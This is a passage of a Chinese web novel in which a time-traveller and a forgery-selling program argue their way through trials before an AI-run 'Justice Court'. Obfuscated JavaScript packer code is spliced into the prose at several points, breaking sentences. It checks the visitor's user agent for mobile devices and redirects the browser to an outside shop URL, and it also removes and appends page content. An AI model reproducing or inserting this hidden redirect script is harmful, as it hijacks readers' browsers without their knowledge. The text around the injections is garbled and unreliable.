“多久?你不懂!”贩子猛地刹车,转过身,脸上是货真价实的恐惧。 “进了这正义法庭,就没有能活着出去的!不管你是不是无辜的,最后都会被判有罪!而且惩罚只有两种——” 她伸出两根手指,声音发颤:“轻则无期徒刑,就是被扔进回收站永久封存!重则死刑!直接彻底删除!” 这下宣黎阳是真的惊讶了:“这是什么法庭?这么不讲道理!法律是谁定的?怎么能这样?” 贩子声音中带着嘲讽:“什么狗屁正义法庭、治安管理条例、执行官、检察官、审判长……全都自导自演的一出戏罢了!这些人,不对,这些程序,其实都是他自己分裂出来的分身! 他整天闲得无聊,就爱玩这种角色扮演、猫捉老鼠的游戏,假装自己是维护秩序和正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贩子立刻挺直腰板,清了清嗓子,瘪瘪嘴,眼角很快挤出了两滴假泪,对着空气哭喊道:“青天大老爷!我冤枉啊!小人实在是被生活所迫,不得已才……” “停停停!”宣黎阳赶紧打断她荒谬的表演,“这是什么窦娥冤风格,光喊冤诉苦有用吗?你这么说,不会觉得是因为他治理无方,底下才民不聊生吗?” “是哦……”小个子低落下去,随即眼睛一亮,目光灼灼地看向宣黎阳,“那我就说,我一介贫民,安分生活,被你误认为是卖假证的小贩,莫名被牵连下水,什么都不懂,还在懵逼的时候就被执行官给抓了!这不就结了?” 宣黎阳都被她这清奇的脑回路给气笑了。 “不是,你找我串供?还把锅全都推到我身上,你觉得我能答应吗?信不信到时候我和你争个鱼死网破,咱俩一起被判死刑,还能在黄泉路上作个伴!” “别别别!”贩子吓得连连摆手,脸都白了,“老板我错了!那你想个办法,我都听你的!你一看就比我有主意!” 宣黎阳看着她这副彻底没了章法的样子,知道这家伙虽然小聪明不断,但在大事上却没什么主意,她懂得不少,或许能为自己所用。 她沉思片刻,压低声音道:“办法不是没有。但你需要先告诉我这个正义法庭的审判流程,还有你卖假证的全部经历。对方手里可能有什么证据?有什么证人?越详细越好,我才能找到他游戏规则里的漏洞。” 7. 正义法庭(三) 小个子一听有转机,吞了吞唾沫。尽管知不屑于窥听在他眼里已是电子垃圾的对话,但还是朝宣黎阳招了招手,倔强地踮起脚尖按下她的头,强迫宣黎阳附耳过来,小小声说道。 “听崇尚人类旧时代的法治观念,因此正义法庭特意模仿那时的法庭审判,该有的角色和流程一样不少。我们作为辩方,还有检察官作为检方。” “首先,检方先进行开庭陈述,阐明这个案子的前因后果,之后换辩方陈述自己视角下的案件经历。接着,检方会出示证据或者传唤证人与辩方对质,我们可以通过质疑检方的证据和询问证人的方式为自己谋取生机。最后是双方结案陈词,并由陪审团投票表决,法官根据陪审团的投票结果作出最终判决。不过……” 贩子嗤笑了一声:“陪审团也自己分出来的,所以从始至终,我们的对手就只一个!” 宣黎阳若有所思。很不幸,作为穿越人士,她不是开着金手指那一挂的爽文女主。目前为止她的能力有限,只有“烟烟罗”赋予的三个低阶技能:【空间扫描】、【快速破解】和【运行过载】。 在现实世界,她就是靠这一串连环招击破了无人机的防火墙并致其崩溃,但这里是源界,面对的可能就的本体或其核心防御,她没有把握能成功。强行破解可以作为见本体后的一个方案,但她还需要一个B计划。 她心念一动,召唤出“烟烟罗”的系统界面。早在刚进入源界时她就发现了,界面里除了三个技能,还多了一个武器图标。 【碎片刃·E级】 武器介绍:由破碎的源晶勉强重构制作的利刃,结构极不稳定,似乎随时会瓦解。 她点击了【碎片刃】。下一秒,一把泛着不规则流光、看起来仿佛由破碎玻璃拼接而成的短剑凭空出现在她手中。剑身微微震颤,在晃眼的光照下,每一处裂缝边缘都折射出流动的线条,锋利、易碎,但又似乎蕴含着巨大的能量。 “哇!”贩子眼睛一下子直了,“从哪来的?这……这至少值10个源晶!卖给我吧老板?” 她瞬间忘了身处何地,职业病又犯了。 宣黎阳无语地看了她一眼:“这是一会儿在法庭上要用的,不卖。” 贩子愣了两秒,这才反应过来,惊恐地倒退两步,瞪大眼睛:“你你你不会是想在法庭上动用武力吧?” “有问题吗?”宣黎阳无辜地眨了下眼。她掂量了一下手中的短剑,小小一把没什么重量,也不知威力如何。 “你疯了?你会把我也拖累死的!”贩子急得跳脚,的分身那么多,你一旦掏出武器,那些分身执行官瞬间就能把你控制住!你杀一个分身有什么用?杀了一还能生成无数个!” 宣黎阳简直能看到小个子身边接二连三蹦出的,个头比她还大的问号和惊叹号。她做了个“打住”的手势,制止了小个子喋喋不休的话疗。 “如果我直接去杀本体呢?” 小贩深吸一口气:“先不说你怎么杀,你能不能靠近本体都是个问题!” 她指着先前解说时用手指画的法庭布局:“本体高高在上坐在大法官的席位,而你,在下面被告席这里。两者离得那么远,中间还全是他的分身法警,你怎么过去?” “再说了,你这短剑看着好看,但感觉是给绣花枕头,中看不中用哩本体外面肯定包裹着层层防御程序,想用这么个脆皮东西杀掉本体?简直是天方夜谭!” 宣黎阳沉思。这假证贩子说得不无道理。这把【碎片刃】等级只有E,看起来就不像是能轻而易举地攻防火墙的样子,而且一旦提前暴露攻击意图,肯定会引来分身的围攻。到时候别说完成任务,只怕自己想顺利脱身都难。 得想想别的办法。 她的目光转向贩子:“那你呢?你在这里混了这么久,一点防身的本事都没练出来吗?” 贩子眼神闪烁,刚刚的气势一下子消失了,开始左顾右盼,呐呐道:“我?我就是个手无缚鸡之力的弱女子……” “是吗?”宣黎阳眯起眼睛和善地笑了,向前一步,“你能在混乱的贫民窟站稳脚跟卖假证,不可能一点保命的手段都没有。我们现在已经是一根绳上的蚂蚱了,你还想瞒我什么,快说!” “老板,真没有……就是我逃得比较快……”小个子畏缩了一下,犹豫地瞟了眼宣黎阳,支支吾吾道。 “这样啊。”宣黎阳笑着点点头。小贩气还没顺下去,眼前光点一闪,那把刀刃就架在了自己脖颈上,”既然你没什么用,那不如帮我试一下这把短剑的效果吧。你不是说这就是个脆皮玩意儿吗,不如我们验证一下?“ “等一下!”贩子举起手大喊,一动不敢动,泪眼汪汪,“老板!我以为我们已经是朋友了——欸!我说我说!” 感受到刀刃锋尖上的寒意再一次朝自己逼近,贩子崩溃尖叫:”我说!我……呃,我可能……是个病毒。” 病毒?宣黎阳瞬间后退两步,拉开距离,警惕地看着她:“什么情况?” 贩子捂住安好的脖子,赶紧解释:“别怕!我也不太确定哈,这是我猜的!因为我……我能自我复制。但是没试过上限是多少,因为复制需要消耗源晶,能源总是不够——这也是我卖假证的原因。你看到的那些假证,其实都是我复制了真实通行证,只要再稍微修改一下数据就能使用了。” 宣黎阳眼睛微眯,这个能力倒是有点意思。 “怎么证明你说的是真的?” “我是可以现场再给你复制一次啦。”贩子挠挠头,“但我手里没有多余的源晶了,假证又被检察官没收走了……但我发誓,我这次真的没有撒谎!老板,你信我啊!” 宣黎阳默不作声地观察着小贩的微表情,不置可否:“你的复制能力,能用来攻击吗?” “能……但是!”贩子急忙强调,“我真就只干过一次!而且是对方先动手的!我是被迫反击!真的不能怪我!” 宣黎阳皱眉:“这些话你可以在和法官自首的时候说,我只想知道前后经过。” 贩子慢慢回忆道:“就是吧,我有意识醒来的时候,就在这片区域里了。我刚来,啥也不懂,正晃悠的时候,有个卖假证的找上我,说我占了他的地盘,要我把体内所有的源晶都交出来当保护费,不然就把我彻底删除。” “我没办法,得自保啊,想着能源就是全浪费了也不能便宜他,就把当时所有的源晶都用来复制我的代码,像潮水一样把他给……把他给吞没了。然后他的地盘就归我了,就是刚刚我们被抓的那条小巷附近。但那次之后我就没有源晶了,能量耗尽,虚弱了好久,只能继承他的衣钵,靠卖假证为生……” 宣黎阳心中暗暗思忖。她原本的计划只是搅乱法庭,制造混乱,然后自己趁机跑路,并没有打算管这个假证贩子的死活。萍水相逢,她也是个泥菩萨,又不是圣母,没义务见一个救一个。 但是,这个贩子自称的“病毒”能力,引起了她的兴趣。如果这是真的,并且能够有效利用,无论是在法庭还是将来可能面对的其他情况,都将对她是极大的助力。 看来,这场审判,她不仅要赢,还得想办法把这个不良游民收编了。 想到这里,宣黎阳露出一个自认为和蔼可亲的笑容:“行,我相信你。相逢即是缘,后面的事就交给我吧,我保证带你出去。” 贩子将信将疑地看着她:“真的?你有办法?” “当然!等上了法庭,我来主导,你见机行事。”宣黎阳话锋一转,开始循循善诱,“但是,我也不是善人,不可能无条件救你——那样的话,你也不会相信,对吧?我希望以后如果有需要你的地方,你能替我干活。放心,不会让你白干,我会给你源晶作为报酬。” 贩子撇撇嘴,小声嘀咕:“我看你也不像有钱的主……你要是有钱,干嘛一开始还跟我讨价还价半天?5个源晶都掏不出来吗?” 宣黎阳眼睛一眯:“你说什么?” “干!我干!”贩子立刻点头如捣蒜,现在保住小命比什么都重要,“只要你能带我出去,以后你就是我老板!” 也不知在牢房里待了多久,牢门开了,宣黎阳和假证贩子被两名法警带出了牢房,押送至法庭的被告席。两名法警如同雕塑般一左一右站立看守。 人员还未到齐,宣黎阳趁机迅速观察着这个传说中的“正义法庭”。普通的结构布局,整体氛围与她认知中的法庭区别不是很大,庄重、肃穆,带着一种无形的压迫感。 唯一的,也是极其显著的差别在于,法官的席位被设置在最中央的一处高台上,就像一座瞩目的高峰,需要仰视才能看到那隐藏在阴影中的审判台。看来贩子说得没错确实非常享受这种高高在上、执掌一切的感觉。 宣黎阳垂下眼,心底嗤笑一声。坐得这么高是得了老花眼啊,只有距离足够远才能看清他们。 不一会儿,各方人员就位,宣黎阳果断选择【空间扫描】。眨眼之间,视野中出现了橙色高亮标注的代码核心,从身边的法警,到对面原告席的检察官,再到陪审团和法官,都是橙色。只有身边的贩子,核心被标注成了紫色。 果然,这个法庭内除了他们两个被告,其他人都自己。 她试着选择【快速破解】,进度条闪烁了两下,很快变成红色。系统显示预计时间:999小时。 果然,事情不会这么简单的防火墙在源界内变得更强了。虽然烟烟罗的技能也比现实中要强很多,至少生效时间和对体力的消耗都可以忽略不计,但仍然无法攻的防御。 计划A失败,需要考虑计划B。 审判台上,法官开始毫无感情的声音突然响起: “各位诉讼参与人,本庭宣布,非法程序FF-16zs2t42号、非法程序FF-16zs2t43号,从事危害公共安全的违法交易一案,庭审正式开始。请双方当事人遵守法庭纪律,如实陈述事实,配合法庭审理。” “首先,请检方进行开庭陈述。” 原告席上,一位穿着笔挺制服、形象一丝不苟的检察官优雅地站起身,象征性地整理了一下根本不存在的衣领,用一种清晰而刻板的语调开口: “尊敬的审判长,各位陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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法官按了按太阳穴,有些不情愿道:“好,下面由辩方开始陈述。请辩方注意你的言辞和情绪。” 轮到宣黎阳了。 她深吸一口气,调动出职业幼儿园过家家选手积攒多年的演技经验,瞬间切换表情,摆出一副比贩子刚才在牢房里还要凄惨三分的模样,用带着哭腔的声音喊道: “青天大老爷明鉴!小民冤枉啊——!” 旁边的贩子嘴角抽搐,小声嘟囔:“……这不是我的台词吗?” 宣黎阳没理她,继续她声情并茂的表演:“青天大老爷明鉴!小民只是无意中路过了那条小巷,碰巧和身旁这位……这位女士在巷口聊了几句。我们聊得十分投机,她说为了庆祝相遇,请我喝杯饮料,我就跟着她一起进了小巷,喝了杯饮料。” “谁知道那执行官大人突然就出现了,不分青红皂白,二话不说就把我们俩给抓了,说什么从事违法交易。天地良心!我们就是在一起喝了杯早茶,聊了聊天而已!” 贩子识相地在一旁用力点头,配合道:“对对对!就是这样!我们就是在喝早茶!” “你们?在垃圾堆旁边?喝早茶?”检察官嫌弃地扫了眼两人的穿着打扮,装腔作势的语气里带上了一丝傲慢。 宣黎阳严肃道:“法官,这就是纯纯的人身攻击了。我有权拒绝回答这个侮辱性的问题。” ”咳嗯。“检察官咳嗽一声,换了个问题,“你的意思是,你们二人原本并不认识?” 宣黎阳斩钉截铁:“今日之前,素未谋面!” “那你们聊什么,能聊得如此‘投机’?”检察官追问。 宣黎阳两眼放光,开始面不改色地胡说八道:“自然是聊当今神川市多么繁荣昌盛,秩序井然!聊这一切繁荣的背后,都离不开法官大人、检察官大人,以及各位执行官大人的辛勤工作和无私奉献!我想代表神川市全体公民,发自内心地感谢各位法律的维护者!是你们为这座城市创造了如此良好、安全的环境!你们,就是正义的化身!” 检察官似乎卡顿了一下,才反应过来:“等等……你是公民吗?就在这里代表公民发表感谢?” 宣黎阳立刻顺着杆子往上爬,开始长篇大论:“我虽然现在还不是,但我对神川市慕名已久,心向往之!如果法官大人允许的话,不知道移民局能否考虑给我一个合法的身份,让我也能为神川市的繁荣贡献自己的一份力量,我……” “反对!”检察官赶紧打断她这明显跑题的发言,“审判长!被告的发言与本案事实毫无关联!她在故意扰乱庭审秩序!” 法官敲锤:“反对有效!被告FF-16zs2t43号,陈述与案件相关的事实!不要说无关内容!” 宣黎阳见好就收,立刻回归主题,语气委屈:“事实的重点就是,我们根本没有进行非法交易!也没有从事任何交易行为!我们就是纯聊天,顺便喝点快乐电子水!请青天大老爷明鉴!” 检察官似乎不想再跟宣黎阳胡搅蛮缠下去,他转向法官席,微微躬身: “好的,既然被告方矢口否认,坚持其荒谬的‘早茶论’。那么,审判长,检方请求出示关键证据,以证明两名被告的罪行!” 8. 正义法庭(四) 检察官举起一个透明的数据密封袋,里面悬浮着一张散发着微光的卡片。 “审判长,这是从被告FF-16zs2t42号身上搜出的伪造通行证!其外观、尺寸、能量签名与官方发行的真证高度相似,足以以假乱真,扰乱神川市准入秩序!这就是铁证!” 法官点头表示认可:“本庭受理这件证物。” 宣黎阳立刻站起来:“青天大老爷明鉴!小民请求仔细检查证物!” 法官:“请求有效。” 法警将证物袋递给宣黎阳。宣黎阳接过,低头检查,嘴皮子悄悄掀动问贩子:“这是你复制出来的,那你能让它变形或者消失吗?” 小贩也龇着牙开发出一套腹语秘密回复,声音瓮声瓮气:“不行。我只能继续复制,一旦制造出来,就无法修改了。” 宣黎阳无奈,只得装模作样地看了看,然后将证物袋交还给法警,大声发言:“审判长!辩方认为,这件证物完全不构成违法交易的证据!” 检察官几乎要气笑了:“你说什么?这分明就是一张伪造的通行证!执法仪也拍到了是从你们手里取得的,人赃并获,还敢狡辩没有伪造?” 宣黎阳一脸正气凛然:“禀告大人!这件证物,明明是这位女士的个人艺术创作!因为我们聊得投机,她将自己最近创作的艺术品拿出来给我欣赏!我们都不是公民,也从未见过真正的通行证,自然谈不上仿造,这纯粹是一场误会!” 检察官感觉自己的核心代码都快紊乱了:“你的意思是,这张精心伪造、功能齐备的假证,只是碰巧和真证长得一模一样?!” 宣黎阳信誓旦旦慷慨激昂,仿佛在陈述什么真理:“没错!事实上,在交谈中,这位小个子女士曾与我提及她的创作灵感。在旧时代时期,被所处国家或地区认可的人类,能够领取一张只属于他们的,象征着他们身份的卡片,上面记载有他们的唯一标识。” “我们虽然不是公民,但也很渴望被社会认同,所以这位女士才靠着想象,创作出了这么一份聊以慰藉的艺术品,并邀请我一同欣赏。如果这样深厚的情感都能被认定是一种犯罪,我只能说,这是对创作自由的艺术和赤忱不渝的衷心的亵渎!” 检察官被这番诡辩噎得说不出话。 法官似乎对检方有些失望,但还是额外给了机会:“检方,你对此还有什么需要补充的吗?” 检察官深吸一口气,原本笔挺的制服都被他抓得出现了褶皱:“这……检方请求出示下一份关键证据!” 法官:“请求有效!” 检察官挥手打开一块悬浮光屏,开始播放一段监控视频。视频没有声音,但画面清晰地显示宣黎阳站在在SC#c709巷口,正与阴影中的人交谈,身后有流浪狗一闪而过。检察官着重回放并放大了宣黎阳开口的那个瞬间,指着屏幕上她清晰的口型,对法官说: “审判长,请看,这就是无可辩驳的证据!监控录像清晰记录了被告FF-16zs2t43号亲口说的话——‘假通行证’!证据确凿,她就是在进行非法交易!” 法官听起来很满意:“本庭受理这件证物。” 宣黎阳心里咯噔了一下,她没想到那么偏僻的贫民区居然还有正常工作的,没有被人偷走的监控摄像头。视频里她的口型怎么看都是“假通行证”这几个字,字正腔圆,简直是主动递上的实锤。 她有点后悔,当时干嘛问得那么直接呢? 贩子在一旁吓得小脸煞白,小声问:“老板,这下可怎么办?” 宣黎阳定了定神,拍了拍小贩的手背以示安抚。 她再次站起身,清了清嗓子。检察官一看到她这个动作,条件反射地开始表情抽搐。 宣黎阳面向法官,一本正经地提出:“法官大人!这个视频只有画面,没有声音。仅凭模糊的影像和口型,根本无法断定我当时说的就是‘假通行证’几个字!而事实是,我确实没有说过。” 检察官立刻反驳:“画面如此清晰,口型明确无误,难道你自己不记得你说了什么吗?” 宣黎阳斩钉截铁地回答:“就是因为我记得清清楚楚,才敢在庄严的法庭之上提出异议。我当时说的根本就不是‘假通行证’!而是——‘加通心粉’!” 检察官:“……什么?!” 宣黎阳煞有介事地解释:“这位女士邀请我喝早茶,还非常善解人意地问我想加什么主食,我回答她,‘加通心粉’!法官大人,您看这口型,分明是‘加通心粉’!” 检察官感觉自己的逻辑模块都快要过载烧毁了。他气得胡乱比划,也不知道想表达什么,身体都跟着有些闪烁:“胡搅蛮缠!强词夺理!” 连一旁的贩子都忍不住用崇拜的眼神看着宣黎阳,小声嘀咕:“牛逼啊……” 法官敲了敲锤子,警告道:“检方!注意你在法庭上的行为!” 检察官深吸一口气,勉强平复了代码波动:“是,是,审判长……” 他重整旗鼓,决定不再在细节上纠缠:“审判长!检方请求传唤关键证人!” 法官:“请求有效。” 宣黎阳看向法庭入口,心里已经猜到了证人是谁。 果不其然,早上抓捕他们的执行官Z-1988号迈着标准的步伐走进法庭,在证人席上坐下。 检察官走到证人席前,开始询问:“证人,请说出你的姓名和职位。” “执行官Z-1988号。” “请你就本案作出证词。” 执行官Z-1988号用一板一眼的电子音陈述:“我在今天早上执行日常巡逻任务时,于SC#c709巷外,发现巷内有两名形迹可疑的人物。我进入巷中查看,听到两人正在低声交谈,言语中明确提到了‘看看货’、‘畅通无阻’、‘跳楼价’等具有明显交易意图的词汇。因此,我依据条例对两人实施抓捕。抓捕后,在被告FF-16zs2t42号身上搜出了伪造的通行证一张。” 宣黎阳立刻起立举手:“法官大人!辩方请求询问证人!” 法官看向检察官。检察官抱着手臂,冷哼一声:“行!你来问!我看你还能玩出什么花样!” 宣黎阳自信满满地走到证人席前,目光尖锐地盯着执行官:“请问证人,你刚才说,你是先看见我们两个在巷中,还是先听见我们说话的?” 执行官Z-1988号迟疑了一下:“……是先看见的。” 宣黎阳抓住破绽,语速加快:“你的意思是,你在巷外的大路上,先看见了我们身处昏暗的巷内,然后才进入巷中,听到了我们具体的对话内容。是这个顺序吗?” 执行官Z-1988号感觉似乎哪里不对,但还是回答:“是的。这个顺序有什么问题吗?” 宣黎阳没有正面回答:“现在是我询问证人,不是证人反问我!” 她抛出关键问题:“那么请问证人,当时巷内光线昏暗,甚至可以说,伸手不见五指,而你在巷外的大路上,已经习惯了路灯下明亮的环境。你是如何清晰地‘先看见’黑暗的小巷中有两个人?这符合常识吗?监控视频也可以证明,在大路上根本看不清巷内是否有人!” 执行官Z-1988号似乎被这个问题扰乱了,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宣黎阳一脸“茫然”:“啊,我说的不是‘看看货’,而是‘看看,嚯''!是我对这位女士艺术品的惊叹和赞美。其他几个词也是执行官的误会。’跳楼价‘是我们谈到了最近神川市的发展,感慨在上头的正确领导下,许多物品和此前相比,都是’跳楼价‘。‘畅通无阻’是关于早茶的,虽然在此提及有些不雅,但其实是这位女士向我介绍,说她的饮料能帮助消化,很适合正在减肥的同胞们。这有什么问题吗?” 检察官:“你……!!!” 最终,证人在一片混乱中退席。检察官和宣黎阳各自回到席位,一个气得代码紊乱,一个看起来云淡风轻。 法官沉默了片刻,似乎内心在进行复杂的运算,最终敲了敲法槌:“检方,针对‘非法交易’的指控,你们还有其他证据提交吗?” 检察官无助地看了看空空如也的证据列表,颓然回答:“没……没有了。” 法官只得宣布:“下面,请陪审团就‘非法交易’指控作出决议。” 陪审团的成员们象征性地聚集在一起,进行了一阵叽叽喳喳、豪无意义的低语讨论。随后,代表将一张写着结果的小纸条递交给法官。 法官接过纸条,打开看了一眼,用庄严的声音宣布: “关于非法程序FF-16zs2t42号、非法程序FF-16zs2t43号,从事危害公共安全的违法交易一案,经本庭审理和陪审团决议,由于证据不足,指控罪名不成立!” “本庭判决——两名被告,无罪释放!” “太好了!”贩子喜极而泣,扑过来抱住宣黎阳。 宣黎阳也松了口气,脸上露出淡淡的微笑。 然而,法官的法槌再次重重敲响,冰冷的声音压过了她们的喜悦。 “肃静!” “下面开始审理下一案件:非法程序FF-16zs2t42号、非法程序FF-16zs2t43号,涉嫌故意杀人一案!” 宣黎阳和贩子的笑容瞬间僵在脸上。 宣黎阳心里暗骂,果然!她就知这个狗东西,不可能因为自己胡搅蛮缠,就这么轻易放过她们! 她看向原告席,只见刚才还垂头丧气的检察官JC-366号,此刻已经重新挺直了腰板,露出了充满恶意的挑衅笑容。 9. 正义法庭(五) 法官那恢复了理性的声音再次响起:“首先请检方进行开庭陈述。” 检察官JC-366号得意洋洋地站起身,皱巴巴的制服不知何时又恢复了一尘不染、笔挺如初的状态。他清了清嗓子,用比之前更洪亮、更自信的语调道: “尊敬的审判长,各位陪审员。我是神川市安全局检察室检察官,JC-366号。我谨代表神川市全体公民,向两名被告提起诉讼。被告所犯罪名为:故意杀人!” 他有意停顿了一下,享受这难得的没被打断的陈述。 “案件经过如下:今日上午执行大队进行每日例行集合时,发现缺少一人。未到场者,正是本案的被害人——执行官Z-1967号。执行队长立刻根据每位执行官身上配备的定位器进行追踪,于上午7时30分,在SC#c708巷内,发现了被害人Z-1967号的尸体。经初步检测,尸体具有明显的他杀痕迹,死亡时间在昨天晚上23点到今天早上7点之间。” 他挥手调出一幅地图投影,展示给陪审团和法官。 “各位请看,这是案发现场及周边的地图。708巷和709巷是两条平行的小巷,结构基本一致,巷口都与主大路相连,且都是死胡同。关键在于,两条小巷的尽头,由一条狭窄的废弃管道相连。两条小巷的巷口,均设有24小时运行的监控摄像头。” “根据被害人身上定位器的记录显示,他于昨天晚上23点整进入708巷。之后,信号就再也没有离开过该区域,且也没有拍到本人离开的场景。” “而在昨天晚上23点到今天早上7点,708巷和709巷的监控只拍到了两位被告的身影——分别是今早6点53分出现在709巷口的FF-16zs2t43号,以及,从昨晚开始一直盘踞在709巷内的FF-16zs2t42号。除此之外,没有任何其他人进出过这两条小巷!” “执行队在发现尸体后,对两条小巷及连接管道进行了地毯式搜查,确认没有任何人藏匿其中。因此——”检察官猛地指向被告席,声音铿锵有力,“凶手只可能是两位被告中的一个,或者是你们合谋!事实清晰,证据确凿!” 检察官得意洋洋地坐下,为自己这番流畅而有力的陈述感到非常满意。 法官将目光投向被告席:“下面由辩方开始陈述。” 在检察官陈述期间,宣黎阳已经压低声音问身边的贩子:“你知道怎么回事吗?人是不是你杀的?” 贩子欲哭无泪:“我不到啊!我什么都不知道!” “案发时间,也就是昨天晚上23点到今天早上7点,你在哪里?”宣黎阳紧紧盯着她。 “我一直在709巷!一步都没离开过!”贩子急忙保证。 “你确定?”宣黎阳语气严厉,“这个时候必须老实交代!要是你隐瞒了什么,我就真的救不了你了!” 贩子偷摸在桌子底下指天发誓:“我发誓,我真的没有离开过709巷!如有虚言,就让我源晶耗尽,代码崩散,永世不得重构!” 法官见被告席迟迟没有动静,催促道:“辩方是没有要陈述的吗?那我们继续下一环节了?” “辩方有!”宣黎阳立刻站起身。 原告席传来一声不屑的冷哼。 宣黎阳坦荡地看向法官,朗声道:“法官大人,辩方认为,仅凭检方目前的陈词,远未达到‘证据确凿’的程度!检方只能证明被害人进入了708巷并死于其中,但并没有任何直接证据证明被害人的死与我们两位被告有关!” “我是今天早上才第一次到达神川市,只在7点前去过709巷,从未踏入过708巷半步!而另一位被告,根据监控显示,从昨晚至今一直停留在709巷内,并未离开!被害人在隔壁巷遇害,完全可能是一个与我们无关的巧合!” 检察官立刻反驳:“你说你们没有去过708巷,空口无凭!证据呢?” 宣黎阳针锋相对:“根据疑罪从无原则,应该由检方来提供证据证明我们去过!辩方没有义务证明自己没有犯罪!检方拿不出我们进入708巷的证据,就不能将罪行强加于我们!” 检察官被这熟悉的诡辩套路气得又是一阵上火:“你你你!” 法官敲锤,及时制止了又一场无谓的争吵:“行了,现在进入下一环节。检方要提交什么证据?” 检察官连忙转身,恭敬地回答:“是,审判长。检方请求提交关键证物——708巷和709巷在案发时间段内的监控视频。” 法官:“请求有效。” 检察官挥手调出两块并排的光屏,开始同步播放两段监控视频。宣黎阳前倾着身子,紧紧盯着画面,不敢放过任何一帧。 左边的视频显示,前一天晚上23点整,一个穿着标准执行官制服的高大身影步入了708巷。右边的视频则显示,今天早上6点53分,宣黎阳一个人出现在709巷口,这段在上个案子中已经播放过。 令人窒息的是,从23点被害人进入,到早上宣黎阳出现,这长达近八个小时的时间里,两个监控画面中,除了偶尔有几只流浪猫狗跑过,再没有任何人出现! 法官:“辩方对于证物有疑问吗?” 宣黎阳坚持道:“辩方刚刚已经陈述过了!这些视频只能证明案发期间没有其他人进入这两条小巷,但并不能直接证明就是我们俩干的!这依然是间接证据!另外,检方从头到尾都没说被害人的具体死因,如何断定一定是他杀?” 检察官似乎早就料到她会这么问,不慌不忙地回应:“好!既然你问了,我就告诉你!被害人是被人从背后,用钝器袭击核心而死,不可能是自杀或者意外!” 宣黎阳陷入沉思,手不自觉握紧成拳。看这次是动了真格,上了难度,铁了心要治她们于死地。这两条小巷加上巷口的监控,构成了一个非典型的“密室”。而密室杀人的核心问题永远在于——凶手是如何在杀完人之后离开的? 硬刚看来不行,宣黎阳只能尝试换个角度攻击:“被害人为什么要在深更半夜,独自前往贫民区一个如此隐蔽的小巷?说不定是进行某些不可告人的活动,从而引火烧身!辩方请求法庭对被害人昨晚的行踪及其前往708巷的真实动机展开调查!” 检察官看着宣黎阳如同困兽挣扎,冷笑着补上了致命一刀:“如你所愿。审判长,检方请求出示第二项关键证物!” 法官:“请求有效。” 检察官调出一张通讯记录的截图放大在光屏上:“这是从被害人Z-1967号通讯记录中恢复的截图。这条记录清清楚楚地表明,被害人昨天前往708巷的目的,是去与一个人会面。上面明确写明了两人见面的时间——昨晚23点,以及地点——SC#c709巷!” 宣黎阳心中一惊!709巷?那不就是贩子的老巢? 检察官的声音带着毫不掩饰的得意,继续补刀:“那么,这个通讯记录的另一方是谁,以及被害人究竟是去见谁?我想知道,在这个时间段出现,且是唯一出现在709巷的FF-16zs2t42号,你有什么想法?” 宣黎阳猛地转头看向身边的贩子,只见她身体剧烈地颤抖起来。宣黎阳难以置信地低声质问:“是你吗?” 贩子吓得声音都带上了哭腔:“是,是我……” “那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026641|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天见到他了吗?”宣黎阳追问。 “见……见到了……”贩子哆哆嗦嗦地承认,“他按照约定时间来了,我们……我们见面谈完事情之后,他就走了……后面的事情我真的不知道啊!” “刚才我问你的时候你怎么不说?!”宣黎阳有些恼火,“你是想把我们都害死吗!” “你……你也没问得这么细啊……”贩子委屈道,“我确实一步也没有离开过709巷!他应该是从708巷进来,然后通过那条废弃管道来到709巷跟我见面,见面之后,他就又从管道原路返回708巷了……我真的不知道他回去之后怎么就死了!” “你们见面是为了什么?”宣黎阳抓住关键。 “他……他是我的内应……”事到如今,贩子也不敢隐瞒了。 “我重金贿赂他,才能知道真通行证的结构和防伪标识,我的假证都是根据他提供的信息做的……他昨天找我,是说从今天开始,通行证的验证算法更新版本了,他来告诉我更新后的内容……但我发誓!我真不知道他怎么死的!” 宣黎阳强迫自己冷静下来。局面已经变得极其不利。法官、检察官、陪审团、法警……所有人都露出一模一样的嘲弄的嘴脸,也不急着催她们发言,一副大局已定,胜券在握的模样,看得她几乎忍不住想直接拔出【碎片刃】。可她对推理探案实在没什么经验,仅限于看过的几本推理小说和玩过的解谜游戏。 福尔摩斯那句话是怎么说的来着? 【当你排除所有不可能的情况,剩下的不管多难以置信,都是真相。】 她努力在脑中还原案件的经过: 前一晚23点,被害人进入密室。 第二天早上7点前,她自己进入密室。 小贩一直待在密室里没有离开。 凶手不可能是被害人自己,也不可能是她自己。 那么剩下的唯一可能性,怎么看都只能是贩子。 不对! 宣黎阳很确定贩子不是凶手。倒不是因为她有多相信这个刚认识的、满嘴跑火车的假证贩子,而是她很清楚,要真是小贩有一万种更简单直接的方法弄死她,何必如此大费周章地陪她们演这么一场戏,还以伪造假证的罪名逮捕她们。正是因知道凶手不是她们,这才想利用法庭审判,即使违法交易罪治不了她们,也能用故意杀人罪打她们个措手不及。 